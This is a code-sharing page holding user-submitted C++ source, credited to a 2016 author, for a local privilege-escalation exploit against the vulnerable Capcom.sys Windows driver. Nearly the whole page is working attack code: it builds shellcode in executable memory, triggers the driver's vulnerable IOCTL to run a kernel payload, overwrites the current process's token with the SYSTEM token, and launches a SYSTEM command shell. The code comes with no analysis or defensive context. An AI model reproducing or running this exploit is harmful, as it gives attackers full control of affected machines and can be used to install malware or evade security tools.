Ask Question

Name:
Title:
Your Question:

Answer Question

Name:
Your Answer:
User Submitted Source Code!


Description:
  aaa
Language: C/C++
Code:
// Copyright (c) 2016, Satoshi Tanda. All rights reserved.
// Use of this source code is governed by a MIT-style license that can be
// found in the LICENSE file.


#include "stdafx.h"
#pragma comment(lib, "ntdll.lib")

////////////////////////////////////////////////////////////////////////////////
//
// macro utilities
//

////////////////////////////////////////////////////////////////////////////////
//
// constants and macros
//

////////////////////////////////////////////////////////////////////////////////
//
// types
//

typedef void *PEPROCESS;

using PSGETCURRENTPROCESSID = HANDLE(NTAPI*)();

using PSLOOKUPPROCESSBYPROCESSID = NTSTATUS(NTAPI *)(_In_ HANDLE ProcessId,
    _Out_ PEPROCESS * Process);

using OBDEREFERENCEOBJECT = VOID(NTAPI *)(_In_ PVOID Object);

using PSREFERENCEPRIMARYTOKEN = PACCESS_TOKEN(NTAPI *)(
    _Inout_ PEPROCESS Process);

using PSDEREFERENCEPRIMARYTOKEN = VOID(NTAPI *)(
    _In_ PACCESS_TOKEN PrimaryToken);

using MMGETSYSTEMROUTINEADDRESS = PVOID(NTAPI *)(
    _In_ PUNICODE_STRING SystemRoutineName);

// Represents shellcode to be executed
#include <pshpack1.h>
typedef struct _SHELLCODE
{
    BYTE Nop[1];
    BYTE Sti[1];
    BYTE Jmp[6];
    void *PayloadAddress;
} SHELLCODE, *PSHELLCODE;
#include <poppack.h>

// Represents a layout of in-buffer for the vulnerable IOCTL
typedef struct _IOCTL_IN_BUFFER
{
    void *ShellcodeAddress;
    SHELLCODE Shellcode;
} IOCTL_IN_BUFFER, *PIOCTL_IN_BUFFER;

////////////////////////////////////////////////////////////////////////////////
//
// prototypes
//

static bool ExploitCapcomDriver();

static void KernelPayload(MMGETSYSTEMROUTINEADDRESS MmGetSystemRoutineAddress);

static void *GetSystemRoutineAddress(
    MMGETSYSTEMROUTINEADDRESS MmGetSystemRoutineAddress,
    const wchar_t *RoutineName);

static PACCESS_TOKEN GetProceesTokenAddress(ULONG_PTR Address);

static bool LaunchShell();

////////////////////////////////////////////////////////////////////////////////
//
// variables
//

// Indicates whether token stealing is done successfully
static BOOLEAN gIsTokenStealingSuccessful = FALSE;

////////////////////////////////////////////////////////////////////////////////
//
// implementations
//

int main()
{
    ExploitCapcomDriver();
    return 0;
}

// Makes std::unique_ptr withe a custom deleter
template <class Resource, class Deleter> static
std::unique_ptr<Resource, Deleter> make_unique_ex(Resource *p,
    Deleter d = Deleter())
{
    return std::unique_ptr<Resource, Deleter>(p, std::forward<Deleter>(d));
}

// Exploits the vulnerable feature in capcom.sys and launches the SYSTEM cmd.exe
static bool ExploitCapcomDriver()
{
    std::cout << std::hex;
    std::cout << "[*] Capcom.sys exploit" << std::endl;

    // Open the device created by Capcom.sys
    auto DeviceHandle = make_unique_ex(
        CreateFile(TEXT("\\\\.\\Htsysm72FB"), GENERIC_READ | GENERIC_WRITE,
            FILE_SHARE_READ | FILE_SHARE_WRITE, nullptr, OPEN_EXISTING,
            FILE_ATTRIBUTE_NORMAL, nullptr),
        ::CloseHandle);
    if (DeviceHandle.get() == INVALID_HANDLE_VALUE)
    {
        std::cout << "[-] CreateFile failed" << std::endl;
        return false;
    }
    std::cout << "[*] Capcom.sys handle was obtained as " << DeviceHandle.get()
        << std::endl;

    //
    // Allocate an executable memory containing shellcode. The data structure 
    // should have an address of code to executed. In this exploit, trampoline
    // code leads to KernelPayload is also given as the function to execute.
    //
    auto InBufferContents = reinterpret_cast<PIOCTL_IN_BUFFER>(VirtualAlloc(
        nullptr, sizeof(IOCTL_IN_BUFFER), MEM_COMMIT, PAGE_EXECUTE_READWRITE));
    if (!InBufferContents)
    {
        std::cout << "[-] VirtualAlloc failed" << std::endl;
        return false;
    }
    InBufferContents->ShellcodeAddress = &InBufferContents->Shellcode;

    //
    // This code is executed first by the feature on PASSIVE_LEVEL, interruption
    // disabled state. This shellcode first enables interruptions so that
    // Windows can page-in the KernelPayload even if it is paged-out, and
    // KernelPayload can call kernel API. Then this code transfers execution to
    // KernelPayload.
    //
    //
    InBufferContents->Shellcode = {
        { 0x90, },                                  //      nop     ; for debugging
        { 0xfb, },                                  //      sti
        { 0xff, 0x25, 0x00, 0x00, 0x00, 0x00, },    //      jmp qword ptr [nextline]
                                                    // nextline:
        &KernelPayload,                             //      dq KernelPayload
    };
    std::cout << "[*] Shellcode was placed at " << &InBufferContents->Shellcode
        << std::endl;

    // +8 because, capcom.sys uses an address of IOCTL buffer - 8
    auto InBuffer = reinterpret_cast<ULONG_PTR>(InBufferContents) + 8;
    static_assert(sizeof(InBuffer) == 8, "an in buffer size must be 8");

    uint32_t OutBuffer = 0;
    static_assert(sizeof(OutBuffer) == 4, "an out buffer size must be 4");

    // Issue IOCTL for the vulnerable feature
    static const DWORD VulnerableIoctlCode = 0xaa013044;
    DWORD BytesReturned = 0;
    auto Ok = DeviceIoControl(DeviceHandle.get(), VulnerableIoctlCode, &InBuffer,
        sizeof(InBuffer), &OutBuffer, sizeof(OutBuffer),
        &BytesReturned, nullptr);
    VirtualFree(InBufferContents, 0, MEM_RELEASE);  // no longer necessary
    if (!Ok)
    {
        std::cout << "[-] DeviceIoControl failed" << std::endl;
        return false;
    }
    std::cout << "[+] Shellcode was executed" << std::endl;

    // Is this process running in the SYSTEM privileges
    if (!gIsTokenStealingSuccessful)
    {
        std::cout << "[-] Token stealing failed" << std::endl;
        return false;
    }
    std::cout << "[+] Token stealing was successful" << std::endl;

    // Launch command prompt
    if (!LaunchShell())
    {
        std::cout << "[-] CreateProcess() failed" << std::endl;
        return false;
    }
    std::cout << "[+] The SYSTEM shell was launched" << std::endl;
    std::cout << "[*] Press any key to exit this program" << std::endl;
    getchar();
    return true;
}

//
// Performs token stealing and elevates the current process to SYSTEM
//
static void KernelPayload(MMGETSYSTEMROUTINEADDRESS MmGetSystemRoutineAddress)
{
    auto PsLookupProcessByProcessId =
        reinterpret_cast<PSLOOKUPPROCESSBYPROCESSID>(GetSystemRoutineAddress(
            MmGetSystemRoutineAddress, L"PsLookupProcessByProcessId"));

    auto ObDereferenceObject =
        reinterpret_cast<OBDEREFERENCEOBJECT>(GetSystemRoutineAddress(
            MmGetSystemRoutineAddress, L"ObDereferenceObject"));

    auto PsReferencePrimaryToken =
        reinterpret_cast<PSREFERENCEPRIMARYTOKEN>(GetSystemRoutineAddress(
            MmGetSystemRoutineAddress, L"PsReferencePrimaryToken"));

    auto PsDereferencePrimaryToken =
        reinterpret_cast<PSDEREFERENCEPRIMARYTOKEN>(GetSystemRoutineAddress(
            MmGetSystemRoutineAddress, L"PsDereferencePrimaryToken"));

    auto PsGetCurrentProcessId =
        reinterpret_cast<PSGETCURRENTPROCESSID>(GetSystemRoutineAddress(
            MmGetSystemRoutineAddress, L"PsGetCurrentProcessId"));

    // Get the process object of the kernel
    auto SystemProcess =
        *reinterpret_cast<PEPROCESS*>(GetSystemRoutineAddress(
            MmGetSystemRoutineAddress, L"PsInitialSystemProcess"));

    // Get the process object of the current process
    PEPROCESS CurrentProcess = nullptr;
    NTSTATUS Status = PsLookupProcessByProcessId(PsGetCurrentProcessId(),
        &CurrentProcess);
    if (!NT_SUCCESS(Status))
    {
        return;
    }

    auto CurrentToken = PsReferencePrimaryToken(CurrentProcess);
    auto SystemToken = PsReferencePrimaryToken(SystemProcess);

    // Search the token field from EPROCESS up to a 0x80 pointers size
    for (auto Offset = 0ul; Offset < sizeof(void *) * 0x80;
        Offset += sizeof(void *))
    {
        // Is this address stores token?
        const auto TestAddress =
            reinterpret_cast<ULONG_PTR>(CurrentProcess) + Offset;
        const auto ProbableToken = GetProceesTokenAddress(TestAddress);
        if (ProbableToken == CurrentToken)
        {
            // Found the field, replace the contents with the SYSTEM token
            auto TokenAddress = reinterpret_cast<PACCESS_TOKEN *>(TestAddress);
            *TokenAddress = SystemToken;
            gIsTokenStealingSuccessful = TRUE;
            break;
        }
    }

    PsDereferencePrimaryToken(CurrentToken);
    PsDereferencePrimaryToken(SystemToken);
    ObDereferenceObject(CurrentProcess);
}

// Returns an address of exports in NT or HAL
static void *GetSystemRoutineAddress(
    MMGETSYSTEMROUTINEADDRESS MmGetSystemRoutineAddress,
    const wchar_t *RoutineName)
{
    UNICODE_STRING RoutineNameU = {};
    RtlInitUnicodeString(&RoutineNameU, RoutineName);
    return MmGetSystemRoutineAddress(&RoutineNameU);
}

// Returns an address of a token assuming that Address points to the Token field
static PACCESS_TOKEN GetProceesTokenAddress(ULONG_PTR Address)
{
    //
    // To get an address of a token from the Token field in EPROCESS, the lowest
    // N bits where N is size of a RefCnt field needs to be masked.
    //
    // kd> dt nt!_EX_FAST_REF
    //   + 0x000 Object : Ptr64 Void
    //   + 0x000 RefCnt : Pos 0, 4 Bits
    //   + 0x000 Value  : Uint8B
    //
    const auto Value = *reinterpret_cast<ULONG_PTR *>(Address);
    return reinterpret_cast<PACCESS_TOKEN>(Value &
        (static_cast<ULONG_PTR>(~0xf)));
}

// Launches a command shell process
static bool LaunchShell()
{
    TCHAR CommandLine[] = TEXT("C:\\Windows\\system32\\cmd.exe");
    PROCESS_INFORMATION ProcessInfo;
    STARTUPINFO StartupInfo = { sizeof(StartupInfo) };
    if (!CreateProcess(CommandLine, CommandLine, nullptr, nullptr, FALSE,
        CREATE_NEW_CONSOLE, nullptr, nullptr, &StartupInfo,
        &ProcessInfo))
    {
        return false;
    }

    CloseHandle(ProcessInfo.hThread);
    CloseHandle(ProcessInfo.hProcess);
    return true;
}
Comments: